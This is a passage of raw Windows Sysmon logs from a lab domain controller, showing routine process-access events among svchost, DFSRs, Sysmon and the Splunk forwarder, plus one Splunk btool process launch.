09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2a2f2|C:\Windows\system32\wbem\wmiprvsd.dll+29e26|C:\Windows\system32\wbem\wmiprvsd.dll+28432|C:\Windows\system32\wbem\wmiprvsd.dll+281af|C:\Windows\system32\wbem\wmiprvsd.dll+2982c|C:\Windows\system32\wbem\wmiprvsd.dll+292fb|C:\Windows\system32\wbem\wmiprvsd.dll+26165|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac 10341000x80000000000000001843Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2597b|C:\Windows\system32\wbem\wmiprvsd.dll+283dc|C:\Windows\system32\wbem\wmiprvsd.dll+281af|C:\Windows\system32\wbem\wmiprvsd.dll+2982c|C:\Windows\system32\wbem\wmiprvsd.dll+292fb|C:\Windows\system32\wbem\wmiprvsd.dll+26165|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c 10341000x80000000000000001842Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+5a1b8|C:\Windows\system32\wbem\wmiprvsd.dll+35a49|C:\Windows\system32\wbem\wmiprvsd.dll+2807f|C:\Windows\system32\wbem\wmiprvsd.dll+29591|C:\Windows\system32\wbem\wmiprvsd.dll+292c2|C:\Windows\system32\wbem\wmiprvsd.dll+26165|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c 10341000x80000000000000001841Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+264a1|C:\Windows\system32\wbem\wmiprvsd.dll+2669f|C:\Windows\system32\wbem\wmiprvsd.dll+25c4b|C:\Windows\system32\wbem\wmiprvsd.dll+27476|C:\Windows\system32\wbem\wmiprvsd.dll+27db2|C:\Windows\system32\wbem\wmiprvsd.dll+277c9|C:\Windows\system32\wbem\wmiprvsd.dll+26100|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac 10341000x80000000000000001840Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28CF-5F80-3300-000000007F01}26243208C:\Windows\system32\DFSRs.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmidcprv.dll+163a4|C:\Windows\system32\wbem\wmidcprv.dll+166e0|C:\Windows\system32\wbem\wmidcprv.dll+abad|C:\Windows\system32\wbem\wmidcprv.dll+b57e|C:\Windows\system32\DFSRs.exe+d839d|C:\Windows\system32\DFSRs.exe+c2ea|C:\Windows\system32\DFSRs.exe+50e1|C:\Windows\system32\DFSRs.exe+72d2|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001839Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+261b7|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x80000000000000001838Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+25d35|C:\Windows\system32\wbem\wmiprvsd.dll+2619d|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029 10341000x80000000000000001837Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2a2f2|C:\Windows\system32\wbem\wmiprvsd.dll+29e26|C:\Windows\system32\wbem\wmiprvsd.dll+28432|C:\Windows\system32\wbem\wmiprvsd.dll+281af|C:\Windows\system32\wbem\wmiprvsd.dll+2982c|C:\Windows\system32\wbem\wmiprvsd.dll+292fb|C:\Windows\system32\wbem\wmiprvsd.dll+26165|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac 10341000x80000000000000001836Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2597b|C:\Windows\system32\wbem\wmiprvsd.dll+283dc|C:\Windows\system32\wbem\wmiprvsd.dll+281af|C:\Windows\system32\wbem\wmiprvsd.dll+2982c|C:\Windows\system32\wbem\wmiprvsd.dll+292fb|C:\Windows\system32\wbem\wmiprvsd.dll+26165|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c 10341000x80000000000000001835Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+5a1b8|C:\Windows\system32\wbem\wmiprvsd.dll+35a49|C:\Windows\system32\wbem\wmiprvsd.dll+2807f|C:\Windows\system32\wbem\wmiprvsd.dll+29591|C:\Windows\system32\wbem\wmiprvsd.dll+292c2|C:\Windows\system32\wbem\wmiprvsd.dll+26165|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c 10341000x80000000000000001834Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.824{A5F018FF-28CF-5F80-3300-000000007F01}26243208C:\Windows\system32\DFSRs.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmidcprv.dll+163a4|C:\Windows\system32\wbem\wmidcprv.dll+166e0|C:\Windows\system32\wbem\wmidcprv.dll+abad|C:\Windows\system32\wbem\wmidcprv.dll+b57e|C:\Windows\system32\DFSRs.exe+d839d|C:\Windows\system32\DFSRs.exe+c0dd|C:\Windows\system32\DFSRs.exe+50e1|C:\Windows\system32\DFSRs.exe+72d2|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001833Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-4900-000000007F01}3900C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001832Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001831Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001830Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001829Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001828Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001827Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001826Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001825Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001824Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4900-000000007F01}3900C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001823Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001822Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28D0-5F80-4800-000000007F01}22803032C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-28D0-5F80-4900-000000007F01}3900C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001821Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.821{A5F018FF-28D0-5F80-4900-000000007F01}3900C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D0-5F80-4800-000000007F01}2280C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list kvstore --no-log 10341000x80000000000000001820Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-4800-000000007F01}2280C:\Program 